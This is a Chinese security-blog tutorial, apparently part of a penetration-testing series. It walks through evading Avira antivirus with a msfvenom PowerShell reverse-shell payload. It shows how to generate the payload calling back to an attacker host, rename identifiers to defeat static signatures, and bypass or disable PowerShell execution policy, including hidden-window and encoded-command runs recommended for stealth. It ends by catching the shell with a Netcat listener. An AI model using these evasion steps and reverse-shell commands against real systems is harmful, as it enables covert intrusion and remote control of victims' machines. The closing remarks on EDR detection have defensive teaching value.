**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。
🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬
🌌 立即前往 👉晖度丨安全视界🚀
▶ 信息收集
▶ 漏洞检测
▶ 初始立足点 ➢ 防病毒软件概述 ➢本地进程内存注入实践(下)🔥🔥🔥▶ 权限提升
▶ 横向移动
▶ 报告/分析
▶ 教训/修复
目录
[1.3 规避防病毒软件实践](#1.3 规避防病毒软件实践)
[1.3.2 开始实践](#1.3.2 开始实践)
[1.3.2.4 PowerShell脚本防病毒检测分析](#1.3.2.4 PowerShell脚本防病毒检测分析)
[1.3.2.5 修改.ps脚本中的变量名以绕过防病毒检测](#1.3.2.5 修改.ps脚本中的变量名以绕过防病毒检测)
[1.3.2.6 运行修改后的PowerShell脚本](#1.3.2.6 运行修改后的PowerShell脚本)
[1.3.2.7 实现反向Shell](#1.3.2.7 实现反向Shell)
[1.3.3 完整攻击链总结](#1.3.3 完整攻击链总结)
[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)
1.防病毒软件规避
1.3 规避防病毒软件实践
1.3.2 开始实践
由于寻找一个能绕过所有杀毒软件 的通用方案极为困难且不切实际,在渗透测试时间有限的前提下,最高效的策略 是针对目标网络内实际部署的特定杀毒产品进行定向测试与绕过。
接前文,我们已经定制了一个完整的内存注入攻击脚本,其中包含了实现反向 Shell 功能的核心载荷(反向shell到攻击者主机)。
在本文中,将验证这个powershell脚本(.ps1格式)是否可以被防病毒产品检测出来。如果会,则需要对该脚本进行修改,尝试绕过。并最终再次测试,直到成功为止。
1.3.2.4 PowerShell脚本防病毒检测分析
📊 检测概况
为了验证PowerShell脚本是否会被防病毒产品识别为恶意文件,我们首选的在线检测和分析恶意软件样本的工具是Antiscan.Me,但可悲的是,它不支持ps1格式(powershell脚本扩展名),所以不得不求助于VirusTotal。
我们通过VirusTotal平台进行了在线扫描测试。
🔍 检测结果速览
| 项目 | 数据 |
|---|---|
| 扫描平台 | VirusTotal |
| 支持格式 | .ps1 (PowerShell脚本) |
| 参与检测产品数(防病毒软件) | 59款 |
| 标记为恶意的产品数 | 28款 |
| 检测率 | ≈47.5% |
| 本次测试主机安装的杀毒软件 | Avira同样标记为恶意**,说明要对.ps1脚本进行绕过处理!!** |
⚠️ 关键发现 :本次测试中,近半数防病毒产品将脚本判定为恶意,包括测试主机安装的Avira,说明常规PowerShell恶意脚本容易被识别。
1.3.2.5 修改.ps脚本中的变量名以绕过防病毒检测
🎯 绕过原理
防病毒产品对恶意脚本的检测,很大程度上依赖于静态字符串签名 ------即识别脚本中特定的++函数名、变量名++ 等有意义代码片段。由于PowerShell脚本是解释型文本文件 ,其结构比二进制文件更灵活,因此重命名关键标识符可有效干扰静态签名匹配,从而绕过基础检测。
1.修改操作步骤
将原始脚本中的硬编码类名与函数名进行"无害化"重命名:
| 原始名称 | 修改后名称 | 说明 |
|---|---|---|
Win32 |
iWin32 |
类名通用化 |
sc |
var1 |
变量名泛化 |
winFunc |
var2 |
函数名泛化 |
操作流程:
定位脚本中特征明显的标识符
替换为常见、通用的名称
另存为新文件(如
bypass.ps1)
2.测试结果
把修改后的**bypass.ps1文件传输到安装** Avira 的 Windows 11 客户端上执行快速扫描(Security选项---选择Virus Scans---点击Quick Scan选项下的Scan):
| 扫描项 | 结果 |
|---|---|
| 原始脚本 | 被标记为恶意(隔离/删除) |
| 修改后脚本(bypass.ps1) | 未被检测为恶意 ✅ |
结论 :通过简单的重命名操作,脚本已能绕过 Avira 的静态签名检测,可正常运行而不被拦截。

⚠️ 重要注意事项
虽然该方法在本测试中有效,但需注意:
云端检测风险 :如将修改后脚本上传至 VirusTotal 等平台,可能触发更高级的云机器学习引擎,导致样本被分析并标记,从而使绕过失效。
影响渗透测试:公开上传可能会使样本被安全厂商收录,影响后续测试的隐蔽性。
1.3.2.6 运行修改后的PowerShell脚本
1.启动并运行脚本(出错)
由于msfvenom默认生成的payload针对x86架构 ,我们需要在Windows 11系统中启动32位版本的PowerShell来确保兼容性。
**注意:**如果要明确指定架构或平台可以使用下面命令:
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.1 LPORT=443 -a x64 --platform Windows -f powershell > bypass.ps1
启动方式
-
在开始菜单搜索栏输入
Windows PowerShell (x86)

-
或在运行对话框中输入
powershell -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden启动32位版本# 明确指定平台(如果需要) powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File bypass.ps1 -
运行bypass.ps1,出现报错!!! 出现错误提示:执行策略(Execution Policies)阻止了脚本运行 。PowerShell执行策略是一种安全机制,用于控制脚本的执行条件。

2.执行策略说明
根据Microsoft官方文档,执行策略是按每个系统用户范围 设置的,而非系统级别 。默认策略通常较为严格,旨在防止恶意脚本执行(详见:官方执行策略说明)。
执行策略(Execution Policies) 是Windows PowerShell中用于控制脚本执行行为的安全特性。它作为一道防护屏障,防止恶意脚本自动执行,保护系统免受未授权代码运行的影响。
🎯 执行策略的核心作用
| 作用 | 说明 |
|---|---|
| 访问控制 | 定义哪些脚本可以运行,哪些被阻止 |
| 安全防护 | 防止意外运行有害脚本 |
| 灵活管理 | 提供多层次的安全控制选项 |
| 风险缓解 | 降低恶意脚本自动执行的威胁 |
⚠️ 重要提示 :执行策略不是强制性的安全边界 ,而是防止++用户++无意中运行有害脚本的辅助机制。
🌐 **执行策略作用域级别:**优先级层次(从高到低)如下:
| 作用域 | 影响范围 | 持久性 | 适用场景 |
|---|---|---|---|
| 🔴 Process | 当前PowerShell会话 | 会话结束即失效 | 临时测试、单次运行 |
| 🟡 CurrentUser | 当前用户 | 永久生效 | 个人用户定制设置 |
| 🟢 LocalMachine | 所有用户 | 永久生效 | 系统全局配置(管理员权限) |
| 🔵 UserPolicy | 特定用户 | 组策略管理 | 企业用户管理 |
| 🔵 MachinePolicy | 特定计算机 | 组策略管理 | 企业计算机管理 |
📊 常见执行策略级别:
| 策略级别 | 安全等级 | 脚本执行权限 | 典型应用场景 |
|---|---|---|---|
| 🚫 Restricted(默认) | 最高 | 仅交互式命令 | 最安全,禁止所有脚本 |
| ⚠️ RemoteSigned | 高 | 本地脚本+签名远程脚本 | 企业环境,平衡安全与便利 |
| 🟡 AllSigned | 中 | 仅签名脚本 | 高安全要求环境 |
| 🟢 Unrestricted | 低 | 所有脚本(有警告) | 开发测试环境 |
| 🔴 Bypass | 无 | 无限制,无警告 | 自动化任务、渗透测试 |
| ⚪ Undefined | 不定 | 继承上级策略 | 未明确设置状态 |
🔧 查看与设置执行策略
①查看当前策略
# 查看所有作用域的策略
Get-ExecutionPolicy -List
# 查看当前用户策略
Get-ExecutionPolicy -Scope CurrentUser
②设置执行策略
# 设置当前用户策略为RemoteSigned
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
# 设置本地计算机策略(需要管理员权限)
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope LocalMachine
③临时绕过策略(推荐渗透测试使用)
# 单次会话绕过,不留痕迹
powershell.exe -ExecutionPolicy Bypass -File script.ps1
🔄 最佳实践建议
-
开发环境 :使用
RemoteSigned或Unrestricted -
生产环境 :使用
AllSigned或RemoteSigned -
渗透测试 :使用
-ExecutionPolicy Bypass参数临时执行 -
企业环境:通过组策略统一管理,确保一致性
3.解决当前PowerShell执行策略限制
①查看当前用户策略
Get-ExecutionPolicy -Scope CurrentUser

结果 :显示为 Undefined(未定义),实际上会继承更高级别的限制策略。
②更改执行策略
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser

参数说明:
-
-ExecutionPolicy Unrestricted:设置为无限制模式 -
-Scope CurrentUser:仅修改当前用户策略
现在,成功将当前用户的执行策略设置为 Unrestricted ,可以正常运行 bypass.ps1 脚本了。
③替代方案
在实际渗透测试中,更推荐使用临时绕过方式,避免留下系统修改痕迹:
方法一:命令行参数绕过
powershell.exe -ExecutionPolicy Bypass -File bypass.ps1
方法二:编码命令执行
powershell -EncodedCommand <Base64编码的脚本>
方法对比:
| 方法 | 持久性 | 痕迹 | 推荐场景 |
|---|---|---|---|
| Set-ExecutionPolicy | 永久更改 | 留下日志 | 需要长期使用 |
| -ExecutionPolicy Bypass | 单次生效 | 无持久痕迹 | 渗透测试首选 |
| -EncodedCommand | 单次生效 | 无痕迹 | 隐蔽执行 |
建议 :在实际攻击中,优先使用
-ExecutionPolicy Bypass参数单次运行脚本,既能执行所需操作,又最大程度减少对目标系统的影响和检测风险。
1.3.2.7 实现反向Shell
1.建立攻击监听端
在Kali攻击机上,我们首先启动一个Netcat监听器 ,这是接收反弹连接的"后门"。通过执行命令 nc -lvnp 443,在443端口上开启了一个静默的监听服务,等待目标主机主动连接回来。

2.执行绕过脚本(成功)
在目标Windows 11主机上,我们运行了已经过修改和绕过的 bypass.ps1 脚本。得益于前期的两项关键操作,脚本得以顺利执行:
-
静态签名绕过:通过重命名关键变量和函数,脚本躲过了防病毒软件(Avira)基于静态签名的检测。
-
执行策略绕过 :通过调整或临时绕过PowerShell的
ExecutionPolicy,清除了系统自身的安全策略障碍。

3.攻击完成与结果
脚本执行后,其内嵌的Shellcode 会在目标++内存中++运行 :主动向攻击机的监听端口发起网络连接 。连接成功后,我们在Kali的Netcat终端上立即获得了一个交互式命令行Shell 。这标志着一次成功的无文件攻击,因为恶意负载全程在内存中执行,无需在磁盘上落地可执行文件。

核心成果 :我们成功地规避了传统防病毒产品(Avira)的检测,实现了从目标系统到攻击机的远程控制通道。
4.重要警示与局限
尽管本次测试绕过了传统防病毒软件,但点出了一个至关重要的现实:
-
对抗EDR的挑战 :在现代企业安全环境中,更高级的终端检测与响应(EDR) 系统普遍部署。这些系统不仅依赖静态签名,更通过:行为监控、异常检测、机器学习 和云威胁情报来发现可疑活动。
-
攻击可能暴露 :一个熟练的安全运营中心(SOC)在配备强大EDR的情况下,完全有可能实时检测到此类恶意进程创建、网络连接 等异常行为,并向安全团队发出警报,从而在很短时间内(例如几分钟)使这次攻击失效并被追溯。
1.3.3 完整攻击链总结
本次演示构建了一个清晰的攻击链路,揭示了从载荷生成到最终控制的完整闭环:
-
载荷生成 :使用
msfvenom生成PowerShell格式的Shellcode。 -
检测测试:通过VirusTotal验证原始脚本的检出率。
-
静态绕过:修改变量/函数名,混淆脚本以绕过静态签名检测。
-
环境适配:解决脚本架构(x86)与执行策略的兼容性问题。
-
建立监听:在攻击端配置Netcat等待反向连接。
-
执行与控制:在目标端运行绕过脚本,成功获取反向Shell。
最终结论 :虽然简单的签名绕过技术在对传统防病毒软件(AV) 的测试中可能奏效,但面对具备高级威胁狩猎能力的现代EDR和SOC,攻击的隐蔽性和成功率将大幅下降。这强调了在真实攻防对抗中,需要采用更为复杂和多层次的技术(如代码加密、API间接调用、进程注入、信任进程伪装等)来规避动态和行为检测。
欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论
每一份支持,都是我持续输出的光。
